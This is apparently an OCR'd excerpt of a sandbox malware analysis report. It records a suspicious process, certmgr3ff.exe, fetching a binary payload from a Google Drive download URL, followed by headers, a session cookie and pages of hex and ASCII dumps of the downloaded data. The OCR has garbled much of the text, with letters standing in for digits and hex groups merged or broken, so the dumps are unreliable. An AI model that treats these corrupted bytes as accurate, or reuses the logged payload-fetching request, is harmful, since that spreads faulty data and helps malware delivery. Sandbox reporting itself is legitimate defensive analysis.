Data Raw: 73 63 2f 6f 72 34 38 69 68 73 6b 30 76 6d 69 66 35 69 66 75 6¢ 33 65 34 38 74 62 63 69 6e 6a 62 76 35 35 2f
70 65 6f 74 69 67 63 6a 75 75 74 31 63 72 36 67 30 38 64 35 31 33 64 36 6f 70 63 73 39 33 67 39 2f 31 36 33 34 31 33 33
3037 35 30 30 30 2f 31 38 32 38 31 38 39 35 36 31 30 38 37 36 33 39 31 32 30 38 2f 30 34 32 32 35 37 39 36 32 37 32
313236 34 37 34 30 31 33 5a 2f 31 63 61 76 6d 76 66 68 42 6b 52 6b 72 35 38 6b 50 62 50 38 79 6d 4d 50 4a 41 45 4a
5a 47 45 31 33 3f 65 3d 64 6f 77 6e 6¢ 6f 61 64 22 3e 68 65 72 65 3¢ 2f 41 3e 2e 0a 3c 2f 42 4f 44 59 3e 0Oa 3c 2f 48 54 4d
4c 3e Oa 0d Oa

Data Ascii: sc/or48ihskOvmif5iful3e48tbcinjbv55/peotigcjuutlcr6g08d513d6opcs93g9/1634133075000/182818956108763
91208/04225796272126474013Z/1cavmvfhBKRkr58kPbP8ymMPJAEJZGE13?e=download">here</A>.</BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

172.217.168.33 443 C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe

Data

GET /docs/securesc/or48ihskOvmif5iful3e48tbcinjbv55/peotigcjuutlcr6g08d513d6opcs93g9/1634133075000/18281895610
876391208/04225796272126474013Z/1cavmvfhBkRkr58kPbP8ymMPJIAEJZGE13?e=download HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Cache-Control: no-cache

Host: doc-00-60-docs.googleusercontent.com

Connection: Keep-Alive

Cookie: AUTH_2b3btrhtkn05e9f8mgnbbcclritoc6m9=04225796272126474013Z|1634133075000|cco6hf5p2hi2d6l67m
rd596ulprmvso4

HTTP/1.1 200 OK

X-GUploader-UploadID: ADPycdurnHR4ku9BkWgGYM7AsFZwXISvaoGUSLpImHAfncIQ_Qqtpyl44ExRaPcOugjS
iSUowkfGTAeePkIT-VFhBg

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: false

Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-
Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token,
financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-Patientld, GData-Version, google-cloud-resource-prefix, linked-
customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-
Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-
model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-
Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-
Firebase-Auth-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-
GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthU
ser, X-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-Pageld, X-Goog-En
code-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experim
ents, x-goog-iam-authority-selector, X-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-
Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-
Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-C
ontent-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset,
X-Goog-Upload-Protocol, X-goog-user-project, X-Goog-Visitor-d, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-
Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer,
X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-HTTP-Status-
Code-Override, X-los-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL,
X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-
Meeting-Botguardid, X-Goog-Meeting-Clientinfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-
Meeting-ldentifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Client-Data, x-
sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-E
ngine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-C
onsole-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-
namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout
Access-Control-Allow-Methods: GET,OPTIONS

Content-Type: application/octet-stream

Content-Disposition: attachment;filename="oodf_BKGjFlg78.bin";filename*=UTF-8"oodf_BKGjFlg78.bin

Content-Length: 167488

Date: Wed, 13 Oct 2021 13:52:00 GMT

Expires: Wed, 13 Oct 2021 13:52:00 GMT

Cache-Control: private, max-age=0

X-Goog-Hash: crc32c=vfJ+GA==

Server: UploadServer

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 65 52 7e c¢8 bd a3 Oc da 73 13 7c 05 bd d9 28 7e 01 64 b8 3b dO 7f cf 51 dc 99 26 b0 eb ac cf 92 82 64 85 80
cd 09 5e 97 32 4d b0 fe 61 76 2c 1c a4 43 39 fd ca da b2 10 64 8a d1 Ob e2 e5 22 41 1e 9e ae aa d8 33 a2 91 7e 77 df eb
ce 32 3f 1b 1c 86 1b 1d da b0 73 bb 59 6e fa b4 9e 1e 44 82 fO bf 66 2d 31 ac 52 5¢ 11 c¢5 ed a0 44 29 ce cf 6d fb 36 fe 18
a0 75 ad 72 cc b9 38 89 d5 64 24 21 bb 57 af fa 24 b9 06 26 c9 54 ef 89 9d b7 c7 de ac 3e 80 fc 08 54 57 6f 1d 8d 38 07
23 74 46 df 44 6e 91 c0 33 65 b3 44 e2 46 67 02 b0 f2 c3 cf 73 Ob 2f d5 83 56 1a f6 d7 f4 b3 4a 27 71 al 74 94 84 e8 93
3c 19 40 3a 2d f9 f6 27 c¢7 2e 7c 02 99 fc 00 74 3b 28 37 cd 38 37 89 ab d1 29 78 ef 25 ce b4 8e d0 93 db c6 82 Oe 22 88
ec 54 77 4e be e0 bc a6 2d c1 c9 2a 8c 0d Oe 87 {7 3d

Data Ascii: eR~s|(~d;Q&d"2Mav,C9d"A3~w2?sYnDf-1R\D)m6ur8d$!WS& T>TWo8#tFDn3eDFgs/VJI'qt<@:-'.|t;(787)x

%" TwWN-*=
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kBytes
Timestamp transferred

2021-10-13 13:52:00 UTC 356

2021-10-13 13:52:00 UTC 359

2021-10-13 13:52:00 UTC 363

2021-10-13 13:52:00 UTC 364

2021-10-13 13:52:00 UTC 365

2021-10-13 13:52:00 UTC 367

2021-10-13 13:52:00 UTC 368

2021-10-13 13:52:00 UTC 369

2021-10-13 13:52:00 UTC 371

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: c6 a5 38 1b 15 5¢ 71 44 c7 5f af fe 16 5f d2 f1 a9 7b 85 d2 ab 36 1f fc 8a 9e 41 d8 07 7c de c7 c0 91 53 d7 Of
78 27 d3 56 €8 30 5a da a9 b1 42 2e 02 52 bf 4d 4e 18 3e 28 7b 56 e8 19 ee d7 68 da 79 dc 56 90 53 b5 06 73 25 38 a5
b4 99 f6 09 ef 5b €3 05 c4 86 96 26 2d 76 37 2d b6 €3 32 e0 68 ed 3e b9 52 40 92 33 80 54 f8 c7 04 6 6a el 82 13 18 10
40 Oe 19 8b 3 48 91 e4 1c 25 ba el 43 80 83 71 6a d7 cO bf 35 15 7e 8a 70 e4 3c 91 cc 96 16 32 0f 51 f4 28 ba 9c d5 9f
f4 69 2f 47 12 fa 7b 6a ef 9f 3f dc dd 42 83 fb 6f b1 8d b3 2¢ 15 ad ee b2 03 33 72 6f b7 85 Ob 3e 57 17 92 90 06 19 54 24
41 dd 5d 43 54 12 7c 7f ¢8 1d b7 a7 ca ed 76 ¢3 09 5f a7 €3 85 d5 b6 d5 35 ac a2 ¢8 14 e2 85 51 cd 10 11 63 Oe 5b 2 5¢
66 43 f1 d9 25 87 23 4b c4 28 11 7f a5 1a 1d 17 bl ac

Data Ascii: 8\gD__{6A|Sx'V0ZB.RMN>({VhyVSs%8[&-v7-2h>R@3Tj@H%Cqj5~p<2Q(i/G{j?B0o,3ro>WTS$A]CT|v_5Qc[\f
CY%#K(

Data Raw: 18 c0 c6 bl da 9a 02 78 f3 12 c4 d8 d1 a5 a4 c9 53 6d a5 9b c1 22 c6 c5 04 18 ae 8f e2 79 b7 56 4e al e9 b2
2e 7c 0c 80 32 12 f2 b8 d4 e5 32 86 9b a2 64 ec 52 3b 44 1d 0f b0 f5 44 be 5 93 2c ¢8 30 13 cf ef af f4 74 f7 b3 53 08 7a
3acl 4d a8 d6 10 86 5a 6b 05 4c 74 1b 10 04 86 8a 86 3c 85 5d e7 4e 96 5a e ff 4e 97 f9 4e 71 fa 82 6e 88 98 94 f7 98
69 96 cc 46 d8 b6 86 d7 c5 e0 74 49 ca 31 1d 8e d2 el 4d 46 77 c8 f5 31 02 b4 f8 db 7d 41 db f4 3e 53 80 fb 77 5a 15 70
24 8e 4f 55 47 ¢1 85 17 e6 4b cb c6 1f f8 48 94 91 b2 9b b2 88 28 74 €3 20 42 bf ae 0d e5 1b d8 49 90 c9 15 ba b4 05 af
88 ec b0 61 6a dc a0 2e fc 18 4b ad 7 46 16 fd {7 d4 19 48 48 a7 8e e4 99 1a 6b 2c ab 7f ff 9e d5 al 8e bb 4b d2 22 ff d1
da 16 Oc 56 84 e1 07 7e 87 d8 79 42 63 be 27 d5 32

Data Ascii: xXSm"yVN.|22dR;DD,0tSz:MZKLt<][NZNNgniFtIIMFwW1}A>SwZp$SOUGKH(t Blaj.KFHHK,K"V~yBc'2

Data Raw: ¢9 01 e7 26 1d 35 64 0b 3c 70 ce 2a 9b f0 8b f8 21 66 7f dc 4f 34 f8 2c 30 15 d6 7b 66 ff 48 20 el 9c fe 2f 63
€2 8b 24 52 a4 99 b0 f7 90 71 a3 89 ac 1f be ef 83 71 cd 7f 80 c3 a3 5e 1c 5d bb e2 d7 7f 49 de 70 2d 28 Ob 23 92 8¢ 71
66 8¢ 96 44 Oc 55 b7 f4 db 09 ed 2d d6 el 3f 80 c3 c4 5b 03 8f 84 50 86 80 10 1a 4b 84 97 11 fd 40 32 40 fd 2c 9a c9 4d
54 11 9f 92 b5 4e 21 3a 30 4c 79 65 c4 59 d2 3e 08 d5 74 Oe c9 4e 8a c3 a3 b6 €9 be e3 78 8e 19 el 58 bc b8 d2 e6 5e
7ac9 47 5d b7 61 3e c4 2f 41 cd 14 9a 38 86 74 63 2f 59 62 9b c1 8b f5 3¢ 6e €5 85 a0 33 f7 37 dd fb 4e a6 ed 7e a8 44
bd 6d f3 40 f1 27 42 44 9 18 ba 8e f6 db fe b4 7a 08 31 e8 6d b5 50 3f 54 41 6¢ 8b 98 a0 93 93 4b 3a df 79 fa c6 86 6f 19
65 7f ea 76 83 78 59 d7 fb 98 81 29 04 03 fd 8f 22 b5

Data Ascii: &5d<p*!fO4,0{fH /c$Rqq"]Ip-(#qfDU-?[PK@2@,MTN!:0LyeY>tNxX"zG]a>/A8tc/Yb<n37N~Dm@'BDz1mP?
TAIK:yoevxY)"

Data Raw: 26 04 7a d5 b6 d5 06 fO 1a cc 9f 9f 79 62 94 08 dO 9c 06 d2 af a8 ed 1e 01 18 de 97 a2 ac 3b 28 11 7f 2e 66 a5
13 30 4f c1 9b 2b 66 ac ee db 76 5b a8 {7 d8 64 2f 60 62 40 0a 44 2c 98 ba b7 2c 18 b4 d0 d9 63 ff fb ¢7 d1 dc d8 99 13
39 cb 2b 23 72 81 2f 5¢ 03 f4 c5 6f 9¢ 5f 7b b0 2e a0 8d 79 06 89 e6 8f 43 ae 71 Ob Ob 8d b7 69 a9 49 ae 52 5c fa c3 60
3b 44 29 ce cf e6 86 c2 3f e7 a8 f4 4a 8d cc b9 38 ba a9 dc 20 ee 6b fd 2a 24 51 4b db 86 92 aa a3 44 bc 68 f3 2f db df 3b
86 54 c8 ae 53 88 2c b8 99 4d 1a 29 20 38 94 f0 21 82 18 ee 9f 00 f2 86 bd e7 20 00 5d 1c 6f 4a c8 f2 c3 14 59 8a 00 80
73 e6 8a b1 80 8f 4b 78 d7 c3 89 7 Ob ab 4f 41 1e cO 7f bf 5¢ bb 02 89 ce 2¢ f8 9c 10 a2 f8 c1 1a 8a e0 34 Oc 74 Oa cf 4d
5c 18 12 77 14 6d 4a b1 60 59 a7 4a 7f 23 b4 95

Data Ascii: &zyb;(.f0O+fv[d/'b@D,,c9+#rN\o_{.yCqilR\";D)?J8 k*$QKDh/;TS,M) 8! JoJYSKXOA\ 4tM\wmJ"YJ#

Data Raw: 7a 5c ¢8 f2 0d e5 e0 f3 46 97 e5 b6 52 27 9d 1b b5 69 14 69 36 ac 82 d2 00 53 5d 37 ¢8 82 Oc fb 0f 46 c9 1e cf
68 a3 38 fb 78 28 4f bb 83 02 fe Ob 83 ff 70 dd b1 dd 6a b8 1f 09 d3 58 b5 62 85 f4 07 11 4c b3 f9 75 63 53 85 a7 9a 84 6d
€2 c6 37 1f 7f 4e 9a c4 18 73 76 b8 44 fc d7 0f a3 Oc 30 52 25 1e 9c 3b 3¢ 59 95 f7 1e 5a 06 15 f7 38 bb 9d fe 5¢ 62 d3 17
6d fb 5a 64 e5 28 51 02 d6 51 3e 43 7b 77 68 4d 53 f0 f7 09 6¢ 9f ef 5a 9a db 55 73 a6 9a b4 c1 86 d1 f2 b6 e3 98 32 31
17 ac 1a 76 7c dc bd 33 6e f4 e7 a4 7a 43 4e d7 05 e6 21 8b f3 48 56 al e4 14 8a el 43 47 c6 a9 58 e7 f1 8d 53 d2 3b 56
70 e4 fb d4 1c a4 26 03 39 37 33 6d 6e 9c d5 58 b1 99 18 47 12 fa bc 2f Of ad Of ec e5 24 44 be 8b b1 8d 5b ef 65 ac ee
31 ¢7 3f {7 af ¢3 8f 80 73 5f d0 d3 f4 07 19 54

Data Ascii: z\FR'ii6S]7Fh8x(OpjXbLucSm7NsvDOR%;<YZ8\bmZd(QQ>C{whMSIZUs21v|3nzCN!HVCGXS;Vp&
973mnXG/$D[el?s_T

Data Raw: 10 6d da 18 5f 3a be 0d 69 19 ec 08 66 b5 2d c1 4a be ¢5 52 50 90 7d d9 01 8a 6b 54 5b 66 63 d1 24 86 7a f9
7b 40 79 ff 86 a3 45 55 23 bb 43 3c 4b fe 25 a2 6 47 8c 81 9e 7b 4d 75 5f 1d 59 cb 88 2e 9f 6a 8f d1 e7 05 ff 88 c7 36 88
1a 76 86 d7 90 d7 d1 fO 7a d4 ee 50 30 73 ec aa ba 35 d2 4a 46 76 6f 97 48 54 08 36 55 Oe ba b8 fc 80 8c e5 2b 89 44 fb
50 bd 77 3c 6 fa 49 a9 fb 76 a0 b7 a0 31 38 68 1b 04 48 67 82 cc bd 91 9a 09 d1 0d b9 fd f1 4c 1509 9b 99 bl 91 04 16
eb 99 75 6a 30 82 15 7b fc f6 18 63 0a 6¢ 61 04 be 3f e8 fa 2d 09 8b 83 e6 3a 61 e8 fd 15 44 ¢3 8d 4b 8c 5¢ 3f 84 14 11
03 ef fb 2a Oe 2e 7c cc 9a e9 44 7f 85 61 1b 91 Of 4d Oa Oc 68 Oa 94 fa 80 5e de Of 2d eb 5¢ ce 00 c4 ad f8 7c 5d e3 9f ba
a4 8a 70 3d c6 6e 75 al 4d 69 47 6b 6b 7e b9 1f d4

Data Ascii: m_:if-JRP}kT[fc$z{@yEU#C<K%G{Mu_Y.j6vzP0s5JFvoHT6U+DPw<Iv18hHgLuj0{cla?-:aDK\?*.|DaMh”-\
|Jp=nuMiGkk~

Data Raw: c6 8d 90 e7 08 46 a6 06 41 7a 04 75 19 54 a7 85 fd d8 83 20 7a f1 2a 24 4f 3c f2 52 85 76 c2 09 5f 2a 66 f5 2e
49 2a 65 c6 a3 45 59 7e d4 03 9b f8 fc 21 0f 5b 71 98 7a c6 31 ac 64 Oc a6 33 3f d7 ee f2 29 1f 6d ec 4e 53 6f c8 c3 a4 45
b3 43 ff Oe 5f 43 9d af 27 d0 5d cf 05 40 2f 1d 44 b7 a7 9d 47 77 be 98 b3 b4 ca 92 dc ac 3b ba 75 a5 4b 5f 6e 81 7d b4 6b
al b8 f7 1b 18 aa 1d 98 al 8c 0f 84 21 3a 1a 93 8a 71 bb 01 34 b7 e5 53 2d ac db da 95 ce ed a0 2e 29 ba c9 e0 b6 c6 af

3 a4 8 f8 8a 9e ea d0 a6 b6 65 24 ac 60 el cb fe f8 b0 fb 07 71 3d a3 00 a3 e3 ¢5 b7 89 f6 10 dO 66 33 4f Oa 18 ad 6b 66

4d 72 29 ef 7b Oc 9e e0 17 99 5b 58 80 28 47 ae 39 ff e2 a2 9f ab 62 78 30 67 1b d2 d7 f4 3a cc 67 7a al 09 fd 3f 95 ab 3b
48 8d ¢3 25 2c e0 1f c0 7f 63 ¢8 11 fd b7

Data Ascii: FAzUT z*$O<Rv_*f.I*eEY~![qz1d3?)mMNSOEC_C']@/DGw;uK_n}k!:q4S-.)e$ q=f30kMr){[X (G9bx0g:gz?;H%,c

Data Raw: 9c 1e bl 8d ed ed 81 53 a6 4a 5e 34 52 25 76 76 cf 46 Ob 63 de cb Of 3c eb 86 be 08 ea bd e7 9e 25 92 a8 16
b7 05 df 04 e4 bf a0 32 1c fd 8e f6 79 45 34 d7 ff 7 5f 99 9 56 c5 9e e4 3b 1c 79 4f 69 89 11 37 d8 1c 19 07 53 df 79 29
32 6ca255 1cdl ce dd 79 33 19 31 0d 60 1c c7 a5 3b db 96 98 61 79 3b 5c¢ af fe 61 60 82 7c 3c db 7e 2d 54 61 4d 14 38
¢4 40 d8 84 b8 d2 4a 95 71 de 52 af 83 d8 2c ef fc 34 5a da fb 38 1f ce c5 17 5b 4e 4e 18 3e al 3e be 61 44 02 bl el 97
89 55 0b 62 da €8 f0 fa 78 c2 5a 62 c¢7 a9 52 64 be be c6 01 57 31 8f eb 84 23 01 ac 78 67 6b 84 6e d2 91 04 cb e7 3b Ob
d2 58 cc 04 f6 3d d2 7d 7b ef 4e 54 c2 4e dc a3 ¢5 df f8 4d ac ¢7 11 ca fd 77 99 9c 20 c0 bf b6 d1 6a 03 35 18 07 56 b9 9e
49 01 cf Of 7f cd e7 5f ec 21 84 62 2f 47 67 fO bc

Data Ascii: SIMR%VVFc<%2yE4 V;yOi7Sy)2IUy31 ;ay;\a’|<~-TaM8@JqR,4Z8[NN>>aDUbxZbRdW1#xgkn;X=KNTNMw
j5VI_Ib/Gg

Data Raw: 1d fO c4 aa 00 17 1e cO 7e 34 20 03 c¢1 ¢8 15 1c 79 7f ed a2 f8 c1 fb d2 f5 b5 55 41 fd 03 e6 81 2a 4e c7 eb 6d
20 b1 66 48 c3 1f 33 75 24 58 d2 3e 9b 92 f2 57 0f cb 9c 34 36 4c 00 7f 2e 13 49 53 d7 a2 ae 6d a3 71 96 73 le de 7e a2
7 93 €3 e0 b2 02 57 c9 38 92 7a 28 36 a9 61 da 03 f5 06 2d 4d 22 aa 34 59 1f f2 08 b1 86 a6 f1 78 60 fd 92 d5 36 5d 84
92 2c e9 bd 35 43 53 e6 aa 39 a6 88 fd 24 c2 e4 72 7f 97 51 €3 59 d3 d4 3d d7 16 bc 84 c4 e8 34 8e 92 9e df d1 47 2¢c 06
7d 2f e0 82 26 58 €2 c¢7 d5 90 55 a0 22 5¢ 4b a9 32 5e 01 0d ab 03 8d f4 cf ed 56 65 03 8a 95 ca 4b d6 12 56 bd 1f 7e 4d
60 fa fd a0 bd f5 93 63 94 b3 91 24 61 2f 09 02 8e 58 11 41 €8 15 a7 27 55 29 6¢ 48 4c e8 c9 ff ba f9 ad 76 2c 7a c8 18 9f
72 fd 97 6a a5 52 db 42 46 Oc 69 a5 e7 2a 09 25 95

Data Ascii: ~4 yUA*Nm fH3u$X>W46L.ISmgs~W8z(6a-M"4Yx 6],5CS9$rQY=4G,}/&XU"\K2"VeKV~M'c$a/XA'U)IHLv,z
rRBFi*%
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:52:00 UTC 372 IN Data Raw: 0d f4 28 ba 5b 90 23 da 69 4a 47 d5 bf bb 12 ef fa 3f ba 54 0f 47 13 30 e0 8c b3 1f dc c7 d8 e3 8e 66 f4 3d 70
00 77 c1 a8 e8 bc 90 62 19 93 61 c1 bl 5d 2f 54 74 5 32 4c f5 8b f6 cb ed fb 87 32 a0 24 27 b9 55 8e e4 40 c4 64 c8 14
5b 84 51 cd 10 91 5b 20 2f b5 1d 2e c0 08 d7 57 73 75 21 cc a5 54 c3 f5 97 90 6b 4e 53 c1 ca c3 ff 74 b3 43 f1 5e 6b 6e
5c 53 a2 93 ed b3 ef a9 ad 7b 45 3a 58 07 c0 01 da 67 3e 38 cf 68 29 d7 0d 9f b9 b0 ca 98 e5 42 6f 12 80 3f f9 85 76 37 ef
bb e4 54 75 ef 2b fc 20 4e 1a 97 b3 13 83 f0 3c a2 25 da 00 df c9 61 3a 12 5f 17 7b 26 a4 20 fa 36 7d dc a8 f0 6d 07 54 e6
80 35 d5 64 24 74 2f 08 fc 39 1d 8 34 8c 86 7e 5a 15 bf 18 22 22 6f €3 0f 71 4c c3 72 5¢ b6 a9 45 66 a5 16 79 aa 64 8f 30
ec ca ee 56 11 83 42 47 2c fb 2c 66 92 e2 90
Data Ascii: ([#iJG?TGOf=pwba]/Tt2L2$'U@d[Q[ /.Wsu! TKNStC kn\S{E:Xg>8h)Bo?v7Tu+ N<%a:_{& 6}mT5d$t/94~
Z™'oqLn\EfydOVBG,,f

2021-10-13 13:52:00 UTC 373 IN Data Raw: 7c 4d 5d 4b 13 cb cc 1c 9c 91 80 6e 25 93 be 4a f7 51 ec db 7f Of 16 65 81 7e a6 4c 33 3a 30 el 71 3d 1d 09 ef
fb 4c 69 47 7b 17 55 b9 1f 06 d8 79 1b 6e Ob 21 b9 48 bc 49 97 14 bb 40 29 70 20 82 f8 f4 50 48 b7 05 b4 ab f6 07 f2 f4 27
56 27 el 8d 55 bf 9c 75 17 5f 99 €9 07 36 67 cd bf b2 {7 c2 01 ff 63 6a 72 0b 30 7b 92 8c 42 4f 36 bc d2 fc 6e ab 4e 74 dd
cd 49 8e 21 93 40 c6 28 b5 73 ee a3 8e 15 91 b7 a8 Oe 9 a0 84 19 68 8a 7a 2d 28 f2 3b cf 4a cO ca 3d 5a bf 3d 03 ¢5 19
08 eb 32 2d ac 3f 01 63 4d 52 51 2e 69 45 2e 02 d7 7f 39 38 4e b3 98 7b 76 €8 19 65 50 04 d1 79 dc db d8 52 3c 89 1f 2e
38 a5 37 61 e6 7f c2 d8 9d 55 ¢4 f2 b1 70 7a 9e e0 2a b6 e3 b1l 24 60 6e 80 11 db 40 92 33 f4 40 ae 90 c3 70 c2 68 82 13
18 10 40 Oe f1 51 f1 48 91 67 d8 2d 39 df 43 f4
Data Ascii: [M]Kn%JQe~L3:0g=LiG{Uyn!HI@)p PH'V'Uu_6gcjro{BO6nNtI!@(shz-(;J=Z=2-?cMRQ.IE.98N{vePyR<.8
7aUpz*$ n@3@ph@QHg-9C

2021-10-13 13:52:00 UTC 374 IN Data Raw: 16 42 35 d7 c2 29 47 cb 7b e4 1b 5f e3 90 c9 3f 8a Ob f8 61 91 f5 b3 c1 b4 75 ac 09 f2 38 37 a6 51 48 85 8e d2
5541 e1 91 80 e6 4a 03 6¢ 52 80 fa 95 f5 ef a2 ae 92 79 €8 98 30 cd 3c c6 ec 41 0f d9 53 cb 1c b5 14 ea 60 e0 62 8d ec
2c ad 3e 82 96 03 e4 84 a3 62 cb 7f 2c 09 c2 04 2c 85 0f 4d 5¢ 61 34 a6 dc 9b a2 a5 fe 8b 20 81 5d f1 74 c8 b6 b0 02 da
de c3 0e 89 d7 c9 2a aa 5a 50 1e 59 48 cf 9c 3c 38 d4 5a 02 57 b8 ff 3c 0f 87 1c 12 72 25 6f 5¢c 84 7 a8 64 be b8 fd fc 52
a6 34 f1 de 1517 a9 3e 70 15 97 b0 8b 02 06 €0 41 b6 3953 84 cb 3b 75 74 7a 39 74 1d 78 c7 c4 47 aa 20 a7 b1 50 d7
4e 20 3c 52 2e ee 8c a6 54 4e 65 el 27 b3 ba 89 79 50 41 84 ee e6 84 be 98 56 db 99 10 6d 25 f3 b2 97 8a 8f c7 10 58 84
eb 87 3b 07 85 ef c3 f4 74 {7 38 f2 fc a0 fc 44 70 09
Data Ascii: B5)G{_?au87QHUAJIRy0<AS b,>b,,M\a4 Jt*ZPYH<8ZW<r%o\dR4>pA9S;utz9txG PN <R.TNe'yPAVM%X;t8Dp

2021-10-13 13:52:00 UTC 376 IN Data Raw: 26 87 8c eb Oe b7 6e Oc 3a 67 bb el c8 f5 8b fc 27 1b 91 32 60 b1 2c €2 71 e0 3c 91 41 d3 1a 62 59 b9 a8 08
bb 9¢ 56 5b d4 ec ef 48 9a 02 7b 6a ef 14 b9 7c d6 42 83 ac 07 46 d3 a7 e0 46 fe be 3f 7d 2f 25 a8 f2 51 57 3e 32 17 55 d5
de 61 54 54 41 1a 18 9f 38 12 13 7f 0f 58 57 d5 ca 88 76 04 4c bb d5 e3 ab d5 71 90 dd c9 a2 b0 14 25 c0 bd a8 10 11 63
€6 b3 2¢c 5¢ 66 c0 35 cd le 44 57 4c 4f65 1d 2c f4 e5 cd 7d f1 21 ab ff d4 99 d8 el 11 9a 01 26 e6 19 22 aa 33 64 34 a8 f9
9e bb c8 e2 dc 4a 69 05 1c db b7 7d 0f 6b 62 97 4d ae 30 f7 b6 c2 6e 81 dO 18 03 ¢7 b9 30 dd 2c cd 90 74 d9 b6 b5 8f 1f
6d 96 4b b8 cb bc eb f0 cd 66 4b b8 e9 ae b4 88 f8 ed a0 17 a4 8b 1b 3d 76 bb 9e e5 5f 8a fc 9a e4 fc 39 31 5e 2 84 24
a4 ed c9 51 bl bl 66 54 22 07 f4 ac d8 3d af b7 5¢
Data Ascii: &n:g'2°,q<AbYV[H{j|BFF?}/%QW>2UaTTA8XWvLq%oc,\f5SDWLOe,}'&"3d4Ji}kbMONn0,tmKfK=v_91"$QfT"=\

2021-10-13 13:52:00 UTC 377 IN Data Raw: Ob 6b 2f 09 06 85 9d e7 be 17 ae 15 41 c8 dd 12 73 a3 85 Oa b6 f0 93 05 d5 4b e7 a2 48 9e 72 25 f0 6a a5 ea
4b 22 99 cc O0c 00 97 80 6e 27 2d 51 76 06 ae 9e d5 4f da b6 17 55 fe 76 8¢ cd 52 9c 6f e4 c9 b0 1e fa 39 08 95 e 70 ce
a6 47 e0 7a 4c 99 8a e8 7e 04 54 96 8¢ ca 27 33 66 25 40 c0 de 7d 22 10 74 10 5f 1a 6e 6b a6 d5 bb 69 1f 45 ae c7 df bd
b7 13 7¢ 92 1c 29 d3 e6 43 e6 e2 47 25 3¢ 57 68 04 9c 95 cb d9 8e 35 93 Of €8 4d eb 68 c4 30 e7 2e 26 d9 ca cc fe 66 e5
5f 85 ca fb 63 90 f0 01 b2 ¢9 52 a7 51 01 9 0d b8 88 fa 93 53 0a ab 36 9c 38 82 ce a9 f5 de 7c de 44 04 99 d6 17 7b 6b
ac a6 5a 82 24 9d 9c b1 b3 42 2e 02 ba f9 25 4f 18 d5 9d f6 d3 10 e7 11 28 38 b0 03 8f be 34 8b b5 06 f0 el 30 5 5¢ 62
2e 09 ef d8 27 0d 41 46 e2 35 a6 03 3b 47 a2 24 74 8 6b
Data Ascii: k/AsKHr%jK"n'-QvOUVR0o9pGzL~T'3f%@}"t_nkiE[)CG%<Wh5Mh0.&f_cRQS68|D{kZ$B.%0(840\b.'AF5;G$tk

2021-10-13 13:52:00 UTC 378 IN Data Raw: 64 45 ed be 93 2c 8a 35 26 a8 59 fc 03 20 70 b8 Ob 3f 23 ae 9a d3 c9 87 c9 29 af 5¢ 06 8b d3 09 50 87 ba 23
aa 75 cd 98 Ob 74 a3 69 3c ee 18 e5 bc 9f 3c a3 9b 77 e5 30 84 ee 85 cd d8 9¢ 31 75 70 ba d4 8e 1b 4b 97 88 c4 b9 42 b0
ee 84 fb 81 be 06 cO 89 c2 08 35 38 1c 50 Of fe 64 58 e5 55 e5 el 44 36 2e ¢3 50 56 3d f4 e0 02 72 fO 7f ¢9 5¢c df 6b a3 97
4e fd d1 63 6e 7b 78 Of 6d d6 20 8b da 8a c7 41 14 10 1c a2 83 c0 ad 4a 57 8c 22 83 1f 41 15 6¢ le 42 ba 6d 47 1d 0d Of
